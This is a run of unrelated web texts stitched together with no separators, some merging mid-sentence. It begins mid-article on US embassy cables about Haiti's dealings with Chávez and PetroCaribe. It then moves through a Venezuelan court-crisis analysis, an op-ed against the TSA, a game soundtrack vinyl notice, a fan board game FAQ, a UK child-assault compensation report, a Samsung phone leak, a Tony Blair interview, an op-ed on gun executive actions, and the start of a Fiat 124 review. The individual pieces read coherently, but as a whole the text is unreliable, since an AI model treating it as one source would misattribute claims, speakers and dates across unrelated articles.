“Venezuela pledged funds for improvement to provincial Haitian airports and airport runways (also previously announced) and experts on economic planning to help identify development priorities. Other pledges include Cuban commitment to bring medical coverage to all Haitian communes, Cuban and Venezuelan electrical experts to improve energy generation, and a trilateral cooperation bureau in Port-au-Prince,” Sanderson wrote.
In subsequent cables, Sanderson sounds increasingly cynical about Préval’s arm’s-length posture toward Chávez, which she clearly regards as disingenuous.
“To hear President Rene Preval tell it, Venezuelan President Hugo Chavez’ visit to Haiti on March 12 was a logistical nightmare and an annoyance to the GoH,” Sanderson says in the “Summary” of that cable.
“Preval told Ambassador the evening of March 13 that Chavez was a difficult guest” and “did not have a GOH invitation but insisted on coming to mark Venezuelan flag day.”
Préval apparently tried to put Sanderson’s mind at ease.
“Responding to Ambassador’s observation that giving Chavez a platform to spout anti-American slogans here was hard to explain given our close relationship and support of Haiti and of Preval’s government in particular, Preval stressed that he had worked hard to stop much of Chavez’ proposed grandstanding,” Sanderson wrote. The ambassador reported that Préval said he is “‘just an independent petit bourgeoisie’ and doesn’t go for the grand gestures that Chavez favors. Haiti needs aid from all its friends, Preval added, and he is sure that the US understands his difficult position.”
Sanderson concluded, in frustration, “At no time has Preval given any indication that he is interested in associating Haiti with Chavez’s broader ‘revolutionary agenda’” but “it is neither in his character—nor in his calculation—to repudiate Chavez, even as the Venezuelan abuses his hospitality at home.”
Préval’s “Obliviousness”
Despite Sanderson’s scoldings and Préval’s reassurances, the Haitian president kept angering Washington. On April 26, 2007, senior presidential adviser Fritz Longchamp told the embassy’s political counselor that “Preval will attend the ALBA [Bolivarian Alternative for the Americas] summit in Venzuela [sic] as a ‘special observer’ for the express purpose of finalizing a tri-lateral assistance agreement between Haiti, Venezuela, and Cuba, whereby Venezuela will finance the presence of Cuban doctors and other technicians in rural Haiti,” according to a cable Sanderson wrote the same day.
Sanderson said the meeting with the embassy was “specifically to raise our displeasure with Preval’s Venezuela trip” and that “Longchamp’s reaction probably reflects Preval’s own obliviousness to the impact and consequences his accommodation of Chavez has on relations with us.” Longchamp “betrayed a common trait among Haitian officials in misjudging the relative importance that U.S. policy makers attach to Haiti versus Venezuela and Chavez’ regional impact.”
The Haitians, in other words, were too convinced of their own relevance to grasp that the real concern for the United States was stemming the Chávez tide. Sanderson suggested that the United States “convey our discontent with Preval’s actions at the highest possible level when he next visits Washington.”
Préval returned from Caracas with “Chavez’ promises to provide a combined total of 160 megawatts of electricity” to Haiti, after “parading with Chavez’ rogues gallery [sic] of ALBA leaders,” Sanderson fumed in a May 4, 2007, cable.
She outlined the essence of the Venezuelan/Cuban aid package: “The Cubans will replace two million light bulbs throughout Port-au-Prince with low-energy bulbs. The initiative will cost USD four million, but save the country 60 megawatts of electricity, which costs the country USD 70 million annually. Venezuela promised to repair the power plant in Carrefour, generating an additional 40 megawatts of electricity. Additionally, Venezuela will by December of this year build new power plants across the country to add 30 megawatts to Port-au-Prince’s electrical grid and 15 additional megawatts each for Gonaives and Cap-Haitian, all of which will use heavy Venezuelan fuel oil, a more efficient and less-expensive alternative to diesel.”
Meanwhile, as this broader energy package took shape, the tensions over PetroCaribe were still simmering.
On May 4, Sanderson sent a second cable explaining that “the head of Haiti’s Petrocaribe office, Michael Lecorps, gave the four oil companies operating in Haiti until July 1 to sign the GoH contract on Petrocaribe,” hoping that “the four companies will sign the agreement voluntarily, instead of passing legislation obliging oil companies operating in Haiti to participate in the Petrocaribe agreement.”
After talking to ExxonMobil Caribbean sales manager Bill Eisner, the embassy reported that Eisner “was shocked when he realized that Lecorps expected the oil industry to coordinate the Petrocaribe deal on behalf of the GoH” which would “make the oil industry prisoner to two incompetent governments,” Haiti and Venezuela, in Sanderson’s words.
President Bush took up the issue of Préval’s relationship with Chávez during the Haitian president’s spring 2007 visit to Washington, after which Sanderson expressed “hope that President Bush’s clear message on Venezuela sank in, but only time will tell.”
Two weeks after Préval’s return, on June 12–13, 2007, a transport strike “gripped Haiti’s major cities and underscored a mounting crisis over fuel prices, which rose nearly 20 percent in just two weeks,” Inter Press Service reported at the time. Many believed that Haiti’s joining PetroCaribe “would alleviate high gasoline costs,” and word was leaking out that “the two large US oil companies that export to Haiti are said to have stonewalled negotiations” for PetroCaribe’s implementation. The July 1 deadline for PetroCaribe compliance was fast approaching.
The standoff over PetroCaribe would continue through the rest of 2007, with Chevron the most resistant to working within the PetroCaribe framework. Haiti needed Chevron to ship the oil from Venezuela.
“It was ridiculous because they had been buying and shipping petroleum products from Venezuela for 25 years,” Lecorps, the Haitian official who oversaw PetroCaribe, told the weekly Haitian newspaper Haïti Liberté. “And you know, Chevron is an American company, so maybe there were some politics behind that too, maybe because of Venezuela and Chávez. But they never said anything about that.”
Lecorps’s suspicions that Chevron had political concerns were warranted.
After returning to Haiti on December 22, 2007, from a PetroCaribe summit, Préval announced that the negotiations with Chevron were nearing a close. “We’re going to sign with Chevron and then we’re going to start ordering oil,” he said at the airport, according to the Associated Press, adding that Venezuelan technicians would visit Haiti to consult on the project.
But, as Sanderson noted in a February 15, 2008, cable, “Chevron management in the U.S. does not want to make a lot of ‘noise’ about the agreement because they do not want to appear to support PetroCaribe.”
Sanderson explained that the deal was sealed when “Chevron finally obtained its desired terms from the GOH,” whereby the state oil company Petróleos de Venezuela, S.A., or PDVSA, “will sell to the GoH, which will then sell to private oil traders, who finally will sell to the oil companies in Haiti for distribution…. Chevron also agreed to ship the refined petrol on one of its tankers |
of interpreting the constitution isn’t exactly straightforward, and there’s plenty of grey areas. In fact, even the current attorney general and her predecessor cannot agree on the matter.
While Attorney General Luisa Ortega Diaz this Friday accused the TSJ’s ruling of amounting to a “rupture in the constitutional order,” her allegations were quickly disputed by a former attorney general, Isaias Rodriguez, who said ruling was in accordance with articles 335 and 336 of the constitution.
One thing is certain, however, and that is that the move is a political gift to the opposition, who have taken to social media to call for protests. For them this not only represents the chance to regroup their disillusioned followers around a central demand, but it also allows them to effectively claw back some of the energy amongst their ranks that was lost following the failure of the recall.
Which brings us to the issue of the opposition:
Why Doesn’t the Opposition Just Remove the Three Contested Legislators?
This might seem like the obvious way to speedily resolve the issue, however, given the National Assembly’s record since December 2015, it seems unlikely that they will pursue this course of action. And not just because they have refused to do so so many times before.
Over the past year, the AN has almost exclusively focused on trying to remove Maduro, and overthrow the TSJ,as opposed to effectively legislate for the country.
At the beginning of 2016, when the National Assembly was actually in a position to pass legislation, it managed to approve just four laws. Three of these were subsequently blocked by the Supreme Court for violating the constitution, most notably the infamous Amnesty Law, while their Law for Medicine and Food Bonuses for Pensioners was upheld.
Although opposition supporters would blame the Supreme Court, the National Assembly’s failure to pass legislation has mostly been because so much of it has been so blatantly unconstitutional. Their efforts to retrospectively shorten Maduro’s term last year, or to declare the president’s abandonment of post earlier in January, are two prime examples of this.
The game plan here is quite clear: the opposition wants to create as much friction with Maduro as possible while establishing itself as a victim of his creeping authoritarianism. It doesn't want to legislate.
In this sense, whether intentional or not, the TSJ’s latest ruling will play right into the opposition’s hands. In fact, it’s perfectly reasonable to argue that is in the opposition’s interests for this stalemate to continue: it provides them with a short term political purpose and also serves as fuel for their accusations surrounding Venezuela’s descent into "dictatorship" in the international arena.
What about the government?
Reacting to the crisis on Friday night, President Nicolas Maduro revealed that he had called for an immediate meeting of the National Security Council to address the stand-off between the two powers, while vehemently denying that democracy is under threat in the South American nation. Nonetheless, Venezuela’s Ministry of Defence has yet to make a statement regardin the ruling, generating speculation that the TSJ decision has provoked a crisis at the heart of Chavismo.
Internal crises aside, what can we expect the TSJ to do with its new legislative power? Frustratingly, the answer is probably something along the lines of “nothing”, as it’s clear the TSJ’s decision isn’t part of some kind of larger master plan on Maduro’s behalf.
Unlike the opposition, which has used its platform at the AN as a space to galvanise political wills to its ranks instead of legislate, for the government the opposite is true. In the political arena the national government has retreated from attempting to win the battle against the opposition by deepening the revolution as a hegemonic project that resonates with its rank and file, and has increasingly fallen back on a defensive, legalistic position.
Maduro has made almost no observable effort over the past year to tackle the roots of Venezuela’s most pressing issues, such as the economy, crime and corruption, and the government appears to have no clear roadmap out of the current political/economic crisis, let alone any obvious plans for advancing with the revolution. The closest thing to a short term game-plan is simply remaining in power.
On the one hand, an optimist could say the Maduro government is just trying to hold on and live to fight another day, while legitimately taking advantage of legislative mechanisms to stave-off the opposition’s reactionary advances. On the other hand, grabbing at available straws and flailing around while the opposition sets the agenda doesn’t exactly bode well for advancing in a revolutionary direction. Especially with some exceptionally worrying economic initiatives and the controversial Orinoco mega-mining project lurking in the background.
Reactions and Potential Impact
It’s obvious that there is a deep institutional crisis in Venezuela, as well as a situation of profound uncertainty, and the immediate future of the country is extremely unclear.
While Wednesday’s decision immediately infuriated the opposition, with prominent leaders of the right-wing accusing the TSJ of being part of a coup, Venezuela is also now also facing renewed international blowback. Right-wing governments in Brazil Argentina, Mexico, Colombia, Chile, Guatemala and Panama have all expressed strong concerns over the state of Venezuela’s democracy. Peru has already pulled its ambassador from Caracas, and the US has described the court’s decision as a “serious setback for democracy in Venezuela”.
This is just a three days after the OAS held an extraordinary session to address the stand-off between Venezuela’s branches of government and its alleged “democratic crisis”. Despite the fact that there seemed to be little appetite for suspending Venezuela from the organization earlier in the week, there is now renewed speculation the Organisation of American States might invoke the Democratic Charter, which could leave Venezuela more isolated than it’s been in decades.
Meanwhile, the reaction on the streets of Caracas is mixed. On the one hand citizens report that they are continuing with their day to day activities unphased, but on the other there are unconfirmed reports of opposition activists distributing fliers calling for mass civil disobedience. The last time that happened was in 2014, when dozens of people were killed after armed anti-government groups took to the streets. The majority of those killed were either government supporters, members of state security forces or innocent passersby.
As of Friday, there were also more unconfirmed reports of a massive exodus of opposition leaders from the country. Former presidential hopeful and Miranda Governor Henrique Capriles, right-wing firebrand Lilian Tintori, a handful of AN members and other prominent opposition personalities have all supposedly quietly left Venezuela in recent days. To say this is a tense moment for Venezuela would be an understatement. As Jesus Puerta pointed out in an Aporrea piece, “It must be recognised that the situation is not normal.”
Meanwhile social movements such as the Bolivar and Zamora Revolutionary Current have denied that there is a rupture of constitutional norms, while throwing an important critique into the heart of the debate. Primarily, that the ongoing stand-off between the two branches of Venezuela’s representational government mask the real task at hand: to build a functioning, community-based and direct democracy. A horizon which they say is increasingly being lost from sight.
To summarise, Wednesday’s TSJ decision is the result of a long running dispute with the AN, which could be resolved at any moment by the legislature, if it just removes a group of lawmakers accused of electoral fraud. Unfortunately, the opposition controlled AN seems not only disinterested in resolving the conflict, but also wants to deepen it, as part of its campaign to delegitimise Maduro and destabilise the country. Whether or not the TSJ can actually assume legislative power remains unclear, though the decision already looks like a bad outcome for the government. It’ll likely hurt Venezuelan internationally, while also fanning the flames of discontent back home. Moreover, far from being reduced to a dictatorship, Venezuela looks well on its way to re-establishing itself as yet another neoliberal, representative government in Latin America at the general elections in 2018 thanks to the government's inaction. And that’s the most worrying part.Few post-9/11 security measures have proven as enduring as the creation of the Transportation Security Administration, which effectively nationalized airport security and dramatically increased screening procedures on flights. In a matter of months, flights went from something you could arrive 30 minutes to an hour beforehand and be fine to something you needed to budget two hours for, what with the shoe removal and the liquids and the possibility of a random pat-down.
It's annoying, but it's also worse than annoying. The TSA's inefficiency isn't just aggravating and unnecessary; by pushing people to drive instead of fly, it's actively dangerous and costing lives. Less invasive private scanning would be considerably better.
Why the TSA falls short
The TSA is hard to evaluate largely because it's attempting to solve a non-problem. Despite some very notable cases, airplane hijackings and bombings are quite rare. There aren't that many attempts, and there are even fewer successes. That makes it hard to judge if the TSA is working properly — if no one tries to do a liquid-based attack, then we don't know if the 3-ounce liquid rule prevents such attacks.
So Homeland Security officials looking to evaluate the agency had a clever idea: They pretended to be terrorists, and tried to smuggle guns and bombs onto planes 70 different times. And 67 of those times, the Red Team succeeded. Their weapons and bombs were not confiscated, despite the TSA's lengthy screening process. That's a success rate of more than 95 percent.
It's easy to make too much of high failure rates like that. As security expert Bruce Schneier likes to note, such screenings don't have to be perfect; they just have to be good enough to make terrorists change their plans: "No terrorist is going to base his plot on getting a gun through airport security if there's a decent chance of getting caught, because the consequences of getting caught are too great."
But even Schneier says 95 percent was embarrassingly high, and probably not "good enough" for those purposes. If you're a prospective terrorist looking at that stat, you might think smuggling a gun onto a plane is worth a shot.
Schneier isn't a TSA defender by any means. He likes to note that there's basically zero evidence the agency has prevented any attacks. The TSA claims it won't provide examples of such cases due to national security, but given its history of bragging about lesser successes, that's a little tough to believe. For instance, the agency bragged plenty about catching Kevin Brown, an Army vet who tried to check pipe bomb-making materials. Brown wasn't going to blow up the plane — the unfinished materials were in his checked luggage — but if the TSA publicized that, why wouldn't it publicize catching someone who was trying to blow up the plane?
The Government Accountability Office is also skeptical that the TSA is stopping terrorists. It concluded in 2013 that there's no evidence the agency's SPOT program, which employed 2,800 as of the study and attempts to scan passengers for suspicious behavior, is at all effective. Only 14 percent of passenger flaggings by TSA officers led to a referral to law enforcement. Only 0.6 percent of TSA flaggings led to an arrest. None of those arrests were designated as terrorism-related.
What about the most loathed TSA rules: the shoe removal requirement, and the ban on all but the tiniest containers of liquids? There's never been any evidence that these are effective. Remember: We caught the people who tried to attack with their shoes and with liquid explosives, without these rules in place. Europe is gradually phasing out the liquid ban.
The TSA has never presented any evidence that the shoe ban is preventing attacks either. "Focusing on specific threats like shoe bombs or snow-globe bombs simply induces the bad guys to do something else," Schneier tells Vanity Fair's Charles Mann. You end up spending a lot on the screening and you haven’t reduced the total threat."
How TSA hassle kills people
The TSA doesn't save lives, but it probably ends them. One paper by economists Garrick Blalock, Vrinda Kadiyali, and Daniel Simon found that, controlling for other factors like weather and traffic, 9/11 provoked such a large decrease in air traffic and increase in driving that 327 more people died every month from road accidents. The effect dissipated over time, but the total death toll (up to 2,300) rivals that of the attacks themselves.
Another paper by the same authors found that one post-9/11 security measure — increased checked baggage screening — reduced passenger volume by about 6 percent. Combine the two papers, and you get a disturbing conclusion: In their words, over the course of three months, "approximately 129 individuals died in automobile accidents which resulted from travelers substituting driving for flying in response to inconvenience associated with baggage screening."
This isn't just one set of studies; there's other evidence that 9/11 led to an increase in driving, which cost at least a thousand lives. The 129 deaths per quarter-year figure is, as Nate Silver notes, "the equivalent of four fully-loaded Boeing 737s crashing each year."
You can dispute the precise figures here; these are regression analyses, which are hardly perfect. But it stands to reason that having to get to the airport two or three hours before a flight reduces demand for flights relative to a world where you only have to arrive 30 minutes beforehand — particularly for flights on routes where a two- to three-hour wait dramatically increases travel time relative to driving, like New York to Washington, DC, or Boston to New York. That means more driving. That means more death.
That might be worth it for a system that we know for a fact prevents attacks. But there's no evidence the TSA does. Meanwhile, as Bloomberg's Adam Minter notes, a classified TSA study found that private screeners were more effective than TSA staff, and a 2011 report from the House Transportation and Infrastructure Committee suggested that private screeners are considerably more efficient at processing passengers.
The solution is clear: Airports should kick out the TSA, hire (well-paid and unionized) private screeners, and simply ask people to go through normal metal detectors with their shoes on, their laptops in their bags, and all the liquids they desire. The increased risk would be negligible — and if it gets people to stop driving and start flying, it could save lives.
The better way to board a planeStreets of Rage (Bare Knuckle in Japan) was Sega’s answer to Capcom’s Final Fight, which at the time only had a console version on the SNES. Sega needed a scrolling beat em up to compete with Final Fight, a triple ‘A’ title and hit in the arcades. There has been much debate about which game is better but one thing Sega certainly won on was the Sound Track. Sega commissioned chip tune music god Yuzo Koshiro to make the sound track which has now gone on to have a cult following.
The sound track took influences from most of the electronic and rave scene music of the time (1991) but it had the 16 bit and chip limitations of the Megadrive that has gone to give it a special charm. It’s influence can still be felt today with Bristol’s Dubstep producer Joker referencing Streets of Rage as one of his musical influences in an interview with Music Radar.
With the cult following that it has and the resurgent interest in vinyl, it’s easy to see why this is getting a vinyl release (we want a copy!). The vinyl release is under license from Sega to Data Discs and the only info we could find was on their Facebook page ‘We are proud to announce our first titles, STREETS OF RAGE and SHENMUE, produced under an exclusive license with SEGA to develop their back catalogue on vinyl. Preorders for both titles will open on 30th May through http://www.data-discs.com, with exclusive editions available to early orders. Records will ship in September. Copies will also be available from Mondo.’
If you haven’t heard the sound track before or you are looking to re-live some memories, we have found some video footage of Yuzo Koshiro DJ-ing many of the tunes from the Streets of Rage sound track in a smokey Tokyo club. It’s awesome to see music that was made for a computer game holding it’s own in a club environment.
Part 1
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https://www.youtube.com/watch?v=1dOnOKsaQz0
Part 2
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https://www.youtube.com/watch?v=ruoy5DhBIbo
Part 3
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https://www.youtube.com/watch?v=3e1K0bSIQe8
Part 4
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https://www.youtube.com/watch?v=KFqbf-8YHK0
Comments
commentsFirst of all, I want to thank everyone for the outpouring of support. Seriously. I’ve been working on this project in obscurity for ages, and to think that I’ve gotten this kind of response? I never would have dared to dream of it.
The entire goal of making SBURB: The Board Game was to contribute to the fandom the only way I know how: by making the best game adaptation that I can. SBURB: The Board Game is my attempt to create a fan project for Homestuck of high enough quality to hang out on the board game shelf with all the cool kid board games.
That said, I want to make sure that everyone knows exactly what we’re dealing with here.
Is this an officially licensed product?
No. SBURB: The Board Game is a fan-produced board game adaptation.
Where/when/how can I buy the game? How much will it cost?
See the above. While I would love to accept your money, I can’t. Without a license, I do have some latitude with the project, but the moment I accept a cent for my work is the moment What Pumpkin Studios shuts me down.
Does Hussie know about this?
Yes! I gave him a handmade copy of the game at San Diego Comic-Con. I’m currently waiting for word back from him and What Pumpkin Studios – apparently, they’re notoriously hard to get in touch with, even for people who do business with them on a regular basis.
So wait, what can you do with this project? Will you distribute it?
Yes. I wouldn’t bother posting any of this online if I didn’t intend to distribute it eventually – that would be quite the tease. SBURB: The Board Game is made by fans, for fans. (Here’s a shout out to all my playtesters!)
How?
I haven’t decided yet. The easiest solution would be to release the game as free-to-play ala Cards Against Humanity, but the scope of the game is such that if I do that, then FedEx Office will be the one making bank on the project, and that just won’t do.
Rest assured though that I do have other plans in mind…
Where can I get your blog theme?
I developed the Sburb UI theme specifically for this site using Atonement 2.0 as a starting point. The theme isn’t flexible enough for general use right now, but I will consider making a release version for later.
Will this game cause the world to end?
No. SBURB: The Board Game is an adaptation of the immersive simulation SBURB, meant to prepare young minds for the real thing.
Will I be able to play as Dream/God-Tier/Grimdark/Grimbark/regular John/Rose/Dave/Jade? What about the Alpha kids?
I’ll go into more detail about the gameplay itself in later updates.
—-
Keep the questions coming!Jay Jones was hit with a car jack by another three-year-old when left alone in a car two years ago
A family from Wirral, Merseyside, has won the right to claim compensation after their son was attacked by another three-year-old with a car jack two years ago.
Jay Jones needed stitches in his head after the assault, which happened when the two toddlers were left alone for a few minutes in a car in Birkenhead in December 2007. Within hours, doctors at Arrowe Park hospital, Merseyside, were confident that Jay would survive, but it took much longer to confirm that he would suffer no lasting brain damage.
He suffered nightmares and bedwetting for months afterwards and was terrified to go near windows because it reminded him of being in the car.
Jay's family won a ruling on Tuesday allowing for compensation for the injuries he received, even though his attacker was not prosecuted because of his age. Jay's mother, Renai Williams, 29, said the Tribunals Service ruled in her favour although the Criminal Injuries Compensation Authority (CICA) had twice refused to pay out as it disputed whether such a young child could be guilty of a crime of violence.
Williams told the BBC: "This has been a long and hard-fought process. We have been knocked back twice by the CICA because in my opinion they didn't take my son's case seriously. My son was hit 11 times on his head and face with a car jack, his attacker kept on lashing out even though Jay was screaming out in pain and covered in blood. It was a vicious attack with such force that his attacker, who was also only three himself, managed to crack the car windscreen."
Williams and her partner had been preparing to go to a post-Christmas dinner and had allowed their son to travel with friends.
"We were getting ready to get into the car when we received a phone call from the other family saying we had better come quick," Williams said. "We drove round, but we weren't too worried – boys fight. But when we got there we noticed the crack in the car windscreen – that was the first bit of panic. Then the other parents came running out the house.
"My partner, Jay's dad David, got out of the car saying 'where's Jay?' They pointed to the house and he went inside and I heard him shouting 'what happened' and they pointed to the car jack, which had blood on it. David came out carrying Jay, who was covered in blood and all limp. He just looked dead."
Jay spent two nights in hospital and suffered bruising to his head and wounds on his arms.
Simon Gibson, a partner at Kirwans, said CICA rejected the family's claims initially, arguing that the attacker lacked sufficient knowledge to be able to carry out a criminal attack. The age of criminal responsibility in England, Wales and Northern Ireland is 10.
"From the point of view of criminal law that makes good sense, but a claim for damages is civil law. Under that you only have to prove the act was deliberate," he said. "We succeeded on Tuesday before an independent appeal. They said this was a unique case."
Gibson said the ruling could open the floodgates for similar claims – even schoolyard attacks involving young children.
CICA said: "We express our sympathy to all victims of crime and their families. All cases are decided on their own merits and, if an applicant does not think their case was assessed fairly, they may apply to have it reviewed. If the applicant remains unhappy after the review they can appeal to an independent tribunal."
The amount of compensation is yet to be decided.Vietnamese website Tinhte has posted images and video of a new device, the Samsung GT-i9300, which could be an engineering sample of the next Galaxy S device set for reveal on May 3rd. Unlike the previous leak, which featured grainy photos taken on an iPad, Tinhte has a full video and gallery of the phone. As we exclusively revealed, Samsung is using dummy cases to conceal the final shape of the smartphone, but this leak gives us a clearer view than ever of what form the next-generation device will take. We've adjusted the levels of the image above to clearly expose the shell of the phone.
As you can see, the outer case is not connected to the chassis in any significant way, leading us to speculate that the interior shape will be close to what we see in the final product. Tinhte says (via Google Translate) that "Samsung has used a fake outer shell designed to ensure the machine is not exposed until they are published." This matches what we'd heard from an insider in response to the images posted on Gizmodo Brazil last week.
The video posted in the article shows the GT-i9300 functioning, and the big news is this is a Samsung device running TouchWiz with onscreen buttons. The display, from black levels alone, seems to to be an AMOLED, and its resolution is posted as 1184 x 720 — a standard resolution as Android doesn't report the space used by the onscreen buttons. It features a 1.4GHz quad-core processor with 1GB of RAM, which is inline with what we're expecting to see. The battery is NFC-enabled and has a capacity of 2,050Mah. It also has an eight-megapixel camera, although we wouldn't be surprised if this is one detail that changes before launch. The site posted a couple of images taken with the camera, which don't look too impressive.
It's impossible to know exactly what this phone is, but given the high-end specs, we're leaning towards this being a test candidate for the guts of a new Galaxy S device. In case you're wondering about the legitimacy of the leak, in the past Tinhte has had both the current-gen iPad and the original Galaxy Tab prior to their official release.
Tinhte has now removed the article from its website.Tony Blair is launching a “new policy platform to refill the wide open space in the middle of politics” aimed at combating a “frightening authoritarian populism” that he says is undermining the west’s belief in democracy.
The former prime minister said his new Institute for Global Change was more than a thinktank since it would aim to arm front-rank politicians with strategies and policies to rebuild the centre, and combat populism caused by a cultural and economic revolt against the effects of globalisation.
In a Guardian interview, Blair stressed he was not forming the embryo of a new party in the UK or personally returning to frontline politics, but warned that unless the political centre regained traction an ugly politics would take root, corroding liberal democracy.
“An indifference to liberal democracy is starting to form in parts of Europe. There are very worrying trends including as many as a third of young people in France saying they doubt democracy is the best form of government.
“Even where populism does not win, as in Holland, it influences and distorts debate. Populism identifies an enemy as the answer to what are essentially the problems of accelerated change.”
The former prime minister – who remains controversial because of the legacy of the intervention in Iraq – said: “I am going to try to play a part in the political debate. I am aware of all the problems and baggage I bring with me. The moment I even start to engage with this, I will have a phalanx of rightwing papers that are going to go into kill mode.
“They are going to try to destroy any possibility of the type of centre ground politics rehabilitating itself because of course they know, if it does, the Tories will not stay in control. I have not done this lightly. I have done this because there is a sense of urgency.”
In the interview he also said:
Labour’s “essential duty” was that the party should be opposed to Brexit at any cost, keeping open an option that allows the British people to think again if they dislike the deal secured Theresa May.
Rightwing ideologues are now driving the Tory approach to Brexit, and actively working to leave the EU without any trade agreement.
It was not his intention to create a movement like the En Marche! vehicle created by Emmanuel Macron in France, but instead to help create a set of policies to address voters’ anxieties caused by globalisation, including stagnating incomes and migration.
Blair said May had not handled the SNP with the sensitivity required, adding it was undeniable that the hard form of Brexit she was pursuing constituted “the material change” the SNP had said would trigger its call for a second referendum. “If Britain stays in Europe you can carry on being Scottish, British and European, but if Britain leaves Europe you can be two of those things, but not all three. That is a material change,” he added. He said he did not want a referendum to happen.
He said: “The arguments for the union are very strong, but be in no doubt, I give this very strong warning, there are elements of the Conservative party and elements of the rightwing media that are perfectly happy with the break-up of the UK.”
As part of the initiative Blair is bringing his post-premiership empire, including 200 staff, largely under one roof, focusing on a not-for-profit basis on re-energising the centre ground, fighting religious extremism, African governance and Middle East policy. Around 25 staff will be deployed to the new Renewing the Centre policy work, headed by Yascha Mounk, a German-born Harvard academic. The platform will be open to western politicians and thinkers from different liberal democratic or progressive traditions. He has injected £10m into the enterprise.
It is unusual for a former British prime minister to become so active politically and his move is motivated by the state of Labour, Brexit, and his argument that the centre ground across the west has been unable to respond to the revolt against globalisation. He said he was aware that there would be people who would reject his initiative because of the Iraq war, but urged them to listen to the arguments.
He claimed the Brexiteers’ agenda was not really about immigration, but politics. “The game of these people is not ultimately about Brexit; it is about an economic experiment where they want to turn the UK, or more accurately England, into a sort of offshore, free-wheeling, free-market, free-trading hub. I think it is a rightwing fantasy, and I don’t think the British people would vote for it.”
Blair has a far bigger vision than saving us from Brexit | Matthew d’Ancona Read more
He said: “Increasingly the hard right ideologues who are really driving this are going to push us towards the position of: ‘You know what? No deal is really fine.’”
Blair said Brexit meant “Labour simply has got to recover its strategic grip on affairs and be competitive.
“Labour has got to build out from the remain vote and reach out to those that are persuadable in the leave camp. It would be a fundamental strategic error to end up trying to go to the leave camp, and then trying to build out across the other way. Then you will end up not persuading the leave people, and alienating the remain people.
“At various points over the past 20-30 years sometimes it has seemed disloyal to talk about the Labour party being in bad shape but when it is in the situation it is today – seven years into a Tory government and losing safe Labour seats to the Conservatives – if you want your analysis of politics to retain any credibility, you have got to say the position is serious.”
Blair did not mention Jeremy Corbyn by name, but argued that the party needed to change. He said: “The position is retrievable, but only if we change. This is not about the personality of the leader. In my view, we are in fundamentally the wrong political position. If you stick to that position, even if you change the leader, you will not have a different result.”So, just how bad are President Obama’s new executive actions on guns?
According to Charles Cooke at National Review, the answer is “not very.” That’s because they’re not an ambitious gun grab, but supposedly trimming around the edges of gun rights. Cooke says:
[H]e’s going to use a good deal of his last year’s political capital in order to tweak a few minor rules around the edges? Why? Even if we’re generous and presume that every single one of these regulations finds its way permanently into the law, he will nevertheless have done nothing substantial to further “universal background checks”; he will have instituted none of his coveted magazine limits; and he will have banned none of the weapons that he disdains.
There’s truth to this – Obama pitched this as a big move on guns, and it simply isn’t that big.
But as always, there’s a catch.
The catch is that Obama’s executive agency interpretation of his executive actions will be crushingly broad. And there is plenty of room for such interpretation, according to the White House fact sheet.
Here are the three major provisions pushed by the Obama administration:
1. Expanded Background Checks To Include Individuals Selling Individual Guns. According to the fact sheet, “The most important thing we can do to prevent gun violence is to make sure those who would commit violent acts cannot get a firearm in the first place.” How will the feds magically achieve this? They will “Clarify that it doesn’t matter where you conduct your business – from a store, at gun shows, or over the Internet: If you’re in the business of selling firearms, you must get a license and conduct background checks.” But you’re already bound by federal law to go through a background check if you buy over the internet, at a gun show, or from a store. And it’s already illegal for you to possess a firearm if you are a criminal. So what is the White House talking about? They want to expand mandatory background checks to any seller who sells even a single firearm, according to Attorney General Loretta Lynch; the White House openly says, “There is no specific threshold number of firearms purchased or sold that triggers the licensure requirement.” So if you have a gun and want to sell it to your brother, you’ll now have to take it to a federally licensed firearm dealer to do a background check. Here’s why this matters, as Dana Loesch ably explains:
What anti-Second Amendment advocates mean when they use the rhetorical scam term "loophole" is that they want the federal government to treat every single American as a federal firearms dealer, meaning they would have to establish a national, quasi-registry (current law prevents the federal government from compiling a registry based off of the NICS information) to make it work…
Think of it this way: how in the world would the feds even know if you sold your gun to someone else unless they have a record of you and your guns?
If you don’t comply with this new requirement – if the ATF finds that you sold your gun to a friend without taking it to a FFL, you could go to jail for five years and be fined up to $250,000.
2. Targeting The “Mentally Ill.” The White House proclaims that it wants to “remove the stigma around mental illness and its treatment – and make sure that these individuals and their families know they are not alone.” To do this, the White House wants to enable anyone to take away your Second Amendment rights based on their subjective analysis of your mental state. This would include going after Social Security Administration recipients who have designated a relative to manage their finances. If you missed the vast spate of murders by the elderly using guns, you’re not alone – it doesn’t exist.
Furthermore, the executive orders would remove certain barriers under the Health Insurance Portability and Accountability Act of 1996 to doctors reporting patients’ mental health. According to the White House, “Today, the Department of Health and Human Services issued a final rule expressly permitting certain HIPAA covered entities to provide to the NICS limited demographic and other necessary information about these individuals.” Politico reports that this rule would not allow “disclosure of diagnostic or clinical information,” but the White House has not clarified what exactly “demographic and other necessary information” comprises. It is already law that if you have been involuntarily committed or placed under psychiatric hold, that you not purchase a gun. So unless this provision is totally meaningless, it could be used to dramatically expand doctors reporting patients – a serious problem in a country in which one in ten Americans are on antidepressants.
Wasting Money And Time On “Smart Guns.” There are no magical guns that read fingerprints, activate quickly, and work consistently. They do not exist. If they did exist, I would buy one. But President Obama, in his true “government knows how to invest your money” fashion, thinks throwing money at smart guns will work. The White House wants to “direct the departments to review the availability of smart gun technology on a regular basis, and to explore potential ways to further its use and development to more broadly improve gun safety.”
Idiotic. More importantly, this merely sets up the false argument that such weapons are available but are being fought by the NRA and other organizations, which is untrue.
In sum, these executive actions could be small potatoes – or President Obama could use them to pry open the door to gun-grabbing. Knowing Obama’s record, the latter seems significantly more likely than the former. But one thing is clear: none of these restrictions would have stopped any recent mass shooting in the United States, and none of them will do anything to stop broader use of guns in violent activities.Still Grinning………..
So what is the 2017 Fiat 124 spider?….well it’s the result of an engineering partnership between Fiat and Mazda, which produces the 124 Spider is alongside the MX-5 in Hiroshima. The partnership is similar to Subaru and Toyota in that the Mazda and Fiat share a platform. Fiat/Mazda take it further with 2 distinct engines, different styling and interiors. The most obvious difference of course is that the Fiat doesn’t use Mazda’s naturally aspirated 2.0-liter SkyActiv four cylinder motor and that makes us happy. I am tired of hearing that the Mazda motor is the purer of the two, or that it is better and faster round a track……who cares, most people drive on roads. So instead, Fiat dropped their turbocharged 1.4-liter MultiAir four-pot, the same one they use in the Fiat 500 Abarth, only with 4 psi of additional turbo boost. The little Abarth is great fun but its short wheelbase means it gets unsettled on everything but perfect pavement. The 124 delivers 160 @ 5500 rpm and 184 lb-ft @ 2500 rpm. Get the Abarth version and you get 4 hp more and the same torque.
